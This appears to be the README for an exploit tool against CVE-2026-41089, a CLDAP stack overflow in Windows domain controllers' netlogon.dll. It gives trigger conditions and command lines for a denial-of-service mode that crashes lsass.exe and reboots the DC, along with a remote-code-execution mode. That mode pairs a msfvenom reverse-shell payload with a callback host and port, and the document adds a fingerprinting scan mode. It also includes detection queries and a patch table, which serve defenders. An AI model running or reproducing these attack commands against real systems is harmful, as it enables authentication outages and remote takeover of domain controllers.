CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
攻击向量: UDP/389 (CLDAP SearchRequest)
影响: 远程代码执行 (RCE) / 拒绝服务 (DoS)
受影响版本: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
补丁: 2026年5月累积更新
netlogon.dll 中的 NetpLogonPutUnicodeString 函数在处理 CLDAP 搜索请求时存在栈缓冲区溢出漏洞。该函数接收字节长度预算,但将其解释为 WCHAR 计数,导致写入量是预期的 2 倍。
溢出发生在 NlGetLocalPingResponse 函数的 528 字节(264 ushort) 固定栈缓冲区中。攻击者可控的 User 字段加上服务器自身的 DNS 域名共同填充此缓冲区,最终覆盖 GS 安全 Cookie,导致 __report_gsfailure 和 lsass.exe 崩溃。
NtVer=0x02(强制使用旧的、存在漏洞的 BuildSamLogonResponse 路径)User 字段长度 ≥ ~130 个字符(二进制上限约为 260 字节 UTF-16)注意:
NtVer=0x16(许多公开检测脚本使用的值)会触发安全的BuildSamLogonResponseEx路径,不会触发漏洞。
| 模式 | 描述 |
|---|---|
--mode dos | 发送精心构造的 CLDAP 包,导致 LSASS 崩溃,DC 重启(~60 秒认证中断) |
--mode rce | 尝试远程代码执行(研究级,需要 shellcode) |
单包即可崩溃 lsass.exe,导致域控制器在约 30-60 秒内重启。此期间该 DC 的所有域认证将失败。
# 基本用法 — 发送 3 个包
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# 单包快速攻击
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# 激进模式 — 5 个包并发
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ 研究级 — 在实际环境中不可靠且不稳定。
RCE 面临以下挑战:
# 生成 shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# 发送 RCE 链路
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# 对目标 DC 进行指纹识别
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
预期输出示例(已修补目标):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
预期输出示例(未修补目标):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
如果 NtVer=0x02 超时而其他版本正常响应,则目标很可能存在漏洞。
# 在 Windows Server(未修补)上创建长域名 DC:
# 1. 提升为域控 (DNS 域名很长的域名,例如 "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 确认已安装 2026 年 5 月之前的补丁
# 3. 从攻击机运行:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. 观察 DC 崩溃和重启
User > 100 字节且 NtVer = 0x02 的 CLDAP SearchRequestEvent ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
本工具仅用于 授权安全评估、渗透测试、CTF 竞赛和防御研究。在未获得明确书面授权的情况下,对任何系统使用本工具均属非法。使用者自行承担一切法律责任。
--mode scan |
| 扫描不同 NtVer 值的响应情况,对目标 DC 进行指纹识别 |
--mode auto | 自动检测并选择最佳攻击策略 |
| 参数 | 描述 | 默认值 |
|---|
-l, --user-len | 用户名字段长度(ASCII 字符数) | 180 |
--ntver | NtVer 值(十六进制,如 0x02) | 0x02 |
--count | 发送的 DoS 包数量 | 3 |
--delay | 包间延迟(秒) | 0.5 |
-t, --timeout | 套接字超时(秒) | 5.0 |
--json | 输出 JSON 格式结果 | — |
--raw | 发送前打印原始包十六进制 | — |
--quiet | 抑制横幅输出 | — |
--shellcode-file | 自定义 shellcode 文件(原始 x64) | — |
--lhost | 反向 Shell 监听地址 | — |
--lport | 反向 Shell 监听端口 | 4444 |
| Windows Server 版本 | 修补版本号 | 备注 |
|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |